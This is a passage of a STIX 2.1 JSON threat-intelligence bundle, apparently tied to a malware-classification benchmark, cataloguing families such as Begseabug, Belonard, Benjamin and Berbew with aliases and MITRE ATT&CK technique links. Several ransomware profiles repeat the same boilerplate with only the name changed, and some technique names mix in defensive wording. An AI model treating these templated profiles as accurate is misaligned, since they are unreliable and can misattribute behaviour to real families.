      "description": "Beebone exhibits technique T1568.002 (Dynamic Resolution: Domain Generation Algorithms)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c093a2a5-4035-5109-a8ee-9af66a46f76b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3c379bfb-215f-5f8b-8983-128067822c05",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Beebone exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7f7f9854-5e6b-531b-ab67-fd8d4efbbbe4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3c379bfb-215f-5f8b-8983-128067822c05",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Beebone exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--27bc3970-ee41-594a-8ed2-bccb725fb75f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3c379bfb-215f-5f8b-8983-128067822c05",
      "target_ref": "attack-pattern--6ba42f78-216a-57bb-8f7c-b5271692217a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Beebone exhibits technique T1091 (Replication Through Removable Media)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--89404589-778c-5d08-8153-63f572d014e3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3c379bfb-215f-5f8b-8983-128067822c05",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Beebone exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--17e0f3b6-b8d2-5e11-9fea-8f3900d006fc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Begseabug",
      "description": "Begseabug (classified in antivirus detection telemetry under designations including Ransom:Win32/Begseabug, Ransom.Win32.Begseabug, and Win32/Begseabug) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Begseabug executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Begseabug",
        "Ransom.Win32.Begseabug",
        "Win32/Begseabug"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Begseabug",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/begseabug"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0d2ff184-8bf8-5c1b-8949-4272fed9a805",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--17e0f3b6-b8d2-5e11-9fea-8f3900d006fc",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Begseabug exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b59c53d3-3bab-53aa-a36d-bd845aa6e6e8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--17e0f3b6-b8d2-5e11-9fea-8f3900d006fc",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Begseabug exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8758ea47-d151-53c3-b93e-35b020e51f4d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--17e0f3b6-b8d2-5e11-9fea-8f3900d006fc",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Begseabug exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fc540bf4-a9e1-5097-a2de-dd0f5b04e2b0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--17e0f3b6-b8d2-5e11-9fea-8f3900d006fc",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Begseabug exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2c455245-3856-50f8-969e-9b703075ab32",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--17e0f3b6-b8d2-5e11-9fea-8f3900d006fc",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Begseabug exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ef444eda-2309-58e5-b462-cf69c2d011a5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Behav",
      "description": "Behav (classified in antivirus detection telemetry under designations including Ransom:Win32/Behav, Ransom.Win32.Behav, and Win32/Behav) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Behav executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Behav",
        "Ransom.Win32.Behav",
        "Win32/Behav"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Behav",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/behav"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--13effb3f-ea8f-5a51-98aa-5e4e149f9325",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ef444eda-2309-58e5-b462-cf69c2d011a5",
      "target_ref": "attack-pattern--6991b3b3-2955-56ba-a0a0-3dadb5d30fae",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Behav exhibits technique T1059.001 (Command and Scripting Interpreter: PowerShell (A frequent trigger for behavioral alerts))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--c1cad0be-7101-5b46-889b-71b19f414675",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1003.001: OS Credential Dumping: LSASS Memory (Behaviorally blocking access to credential stores)",
      "description": "MITRE ATT&CK Technique T1003.001 (OS Credential Dumping: LSASS Memory (Behaviorally blocking access to credential stores)) under tactic Credential Access.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1003.001",
          "url": "https://attack.mitre.org/techniques/T1003/001/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c1508409-58fb-51fe-83c8-0f7694b79625",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ef444eda-2309-58e5-b462-cf69c2d011a5",
      "target_ref": "attack-pattern--c1cad0be-7101-5b46-889b-71b19f414675",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Behav exhibits technique T1003.001 (OS Credential Dumping: LSASS Memory (Behaviorally blocking access to credential stores))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--811ce23a-0f07-5a2a-b72f-e1acaf4b55ab",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ef444eda-2309-58e5-b462-cf69c2d011a5",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Behav exhibits technique T1490 (Inhibit System Recovery (Behaviorally blocking the deletion of backups))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c23438cc-5473-53ec-821c-5a8b4b9cd63c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Belonard",
      "description": "Belonard (classified in antivirus detection telemetry under designations including Ransom:Win32/Belonard, Ransom.Win32.Belonard, and Win32/Belonard) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Belonard executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Belonard",
        "Ransom.Win32.Belonard",
        "Win32/Belonard"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Belonard",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/belonard"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--348bd0c7-9d54-5f77-b11e-0620191a4c59",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c23438cc-5473-53ec-821c-5a8b4b9cd63c",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Belonard exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b52c436d-8cc5-597e-b504-c8ea899c0068",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c23438cc-5473-53ec-821c-5a8b4b9cd63c",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Belonard exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0ccdaf27-6be7-530f-976f-381dc085d8c7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c23438cc-5473-53ec-821c-5a8b4b9cd63c",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Belonard exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9e13f55e-cef0-57ed-89bc-9d5ded4396aa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c23438cc-5473-53ec-821c-5a8b4b9cd63c",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Belonard exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6f134b83-6531-5865-a497-796aef6f9f02",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c23438cc-5473-53ec-821c-5a8b4b9cd63c",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Belonard exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--82b98409-157f-5dbf-8abe-31038302d7f6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Benban",
      "description": "Benban (classified in antivirus detection telemetry under designations including Ransom:Win32/Benban, Ransom.Win32.Benban, and Win32/Benban) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Benban executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Benban",
        "Downloader.Benban",
        "Win32/Benban",
        "Ransom:Win32/Benban",
        "Ransom.Win32.Benban"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Benban",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/benban"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8239abd7-82ed-5207-8f06-1bc9678e84a3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--82b98409-157f-5dbf-8abe-31038302d7f6",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Benban exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cb46c75a-fbbe-5416-946c-fc900f250286",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--82b98409-157f-5dbf-8abe-31038302d7f6",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Benban exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--63883602-0006-5acd-b6d2-fe4131e55359",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--82b98409-157f-5dbf-8abe-31038302d7f6",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Benban exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e3af9ba7-ac85-5d2e-8554-75115dcc1870",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Benjamin",
      "description": "Benjamin (cataloged across antivirus vendors as Worm:Win32/Benjamin.A, W32.Benjamin.Worm, and P2P-Worm.Win32.Benjamin) is an infamous legacy peer-to-peer (P2P) network worm first identified in 2002. Specifically engineered to exploit decentralized file-sharing ecosystems\u2014most notably KaZaA, Grokster, and the FastTrack network\u2014Benjamin propagates by turning infected endpoints into high-volume distribution hubs for the worm. Upon initial execution, typically disguised as a cracked software utility, popular game patch, or multimedia archive, Benjamin copies its core executable into the Windows System folder and secures persistence through the Windows Registry Run key. It then scans local storage for designated P2P shared folders (such as 'My Shared Folder'). Once identified, the worm duplicates itself thousands of times into the shared directory, dynamically forging enticing filenames that match the most frequently queried search terms across the P2P network, exhausting local disk storage and launching distributed denial-of-service (DoS) traffic against targeted Spanish commercial servers. (Observed samples in benchmark: 153)",
      "is_family": true,
      "malware_types": [
        "worm"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Worm:Win32/Benjamin.A",
        "W32.Benjamin.Worm",
        "P2P-Worm.Win32.Benjamin",
        "I-Worm.Benjamin",
        "W32/Benjamin.worm"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Benjamin",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/benjamin"
        }
      ],
      "labels": [
        "worm",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f614c670-9966-5a5b-b578-efc24e652bb8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e3af9ba7-ac85-5d2e-8554-75115dcc1870",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Benjamin exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a2facc72-33b7-5f7f-a272-93ef8a882cb3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e3af9ba7-ac85-5d2e-8554-75115dcc1870",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Benjamin exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--89bb64be-8bd1-5742-b788-353d7c078045",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1036.004: Masquerade Task or Service",
      "description": "MITRE ATT&CK Technique T1036.004 (Masquerade Task or Service) under tactic Defense Evasion.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1036.004",
          "url": "https://attack.mitre.org/techniques/T1036/004/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--90f13e5d-3c6f-5cdb-985b-08bea3421e9a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e3af9ba7-ac85-5d2e-8554-75115dcc1870",
      "target_ref": "attack-pattern--89bb64be-8bd1-5742-b788-353d7c078045",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Benjamin exhibits technique T1036.004 (Masquerade Task or Service)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b55e0afc-eee6-554a-a30e-f3ac6a41fa17",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e3af9ba7-ac85-5d2e-8554-75115dcc1870",
      "target_ref": "attack-pattern--36cc183d-43e0-5df7-9059-7bc6b49000e5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Benjamin exhibits technique T1083 (File and Directory Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--95c56901-dc24-5e85-b007-c1ca55fcf6b8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e3af9ba7-ac85-5d2e-8554-75115dcc1870",
      "target_ref": "attack-pattern--d71e4a80-4385-54ba-a7cd-286f5b07bf07",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Benjamin exhibits technique T1498 (Network Denial of Service)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ec25c310-7e6d-556c-a5a0-7e35b68d5da5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Berbew",
      "description": "Trojan:Win32/Berbew (widely known in antivirus telemetry as Padodor) is a historic banking trojan and multi-purpose infostealer discovered in 2004 that pioneered early webinject and local proxy interception techniques. Operating by injecting its malicious modules into Windows Explorer (explorer.exe) and Internet Explorer, Berbew installs a local proxy engine that monitors HTTP and HTTPS traffic on ports 80 and 443. When users access supported banking institutions, e-commerce platforms, or webmail services, Berbew captures plaintext credentials, steals stored digital certificates, logs keyboard inputs, and exfiltrates financial data to remote servers via hidden web POST requests while simultaneously establishing an open SOCKS proxy backdoor on the infected host. (Observed samples in benchmark: 407)",
      "is_family": true,
      "malware_types": [
        "spyware",
        "credential-stealer"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Berbew",
        "Padodor",
        "Trojan:Win32/Berbew",
        "Win32/Berbew",
        "Trojan.Berbew",
        "Backdoor.Padodor",
        "Trojan.Padodor"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Berbew",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/berbew"
        }
      ],
      "labels": [
        "infostealer",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c00598e8-d3cb-5893-a10b-3fc7fda66a9d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ec25c310-7e6d-556c-a5a0-7e35b68d5da5",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Berbew exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5a654c3f-d899-5648-967f-f0bf9fef0cdb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ec25c310-7e6d-556c-a5a0-7e35b68d5da5",
      "target_ref": "attack-pattern--8dc0a00f-15cb-5381-9682-00d7f381e448",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Berbew exhibits technique T1555 (Credentials from Password Stores)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--863e65a8-e4d1-5687-a047-88a76232ff1d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ec25c310-7e6d-556c-a5a0-7e35b68d5da5",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Berbew exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b4c801fe-8643-5c75-91d8-cd170204c20d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ec25c310-7e6d-556c-a5a0-7e35b68d5da5",
      "target_ref": "attack-pattern--069ca590-96fe-5515-a26f-f3dd434418fd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Berbew exhibits technique T1090.001 (Internal Proxy)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c0226c26-9cb6-5ca0-b0f3-2d6b55d681dc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ec25c310-7e6d-556c-a5a0-7e35b68d5da5",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Berbew exhibits technique T1071.001 (Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--500e93b9-66b6-5b5f-a642-b76684022038",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ec25c310-7e6d-556c-a5a0-7e35b68d5da5",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Berbew exhibits technique T1547.001 (Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c64f0cc0-1c0e-52d0-bdec-f538db7f4c19",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ec25c310-7e6d-556c-a5a0-7e35b68d5da5",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Berbew exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2e59b017-11d7-53d3-9228-db2d9b06d52a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bero",
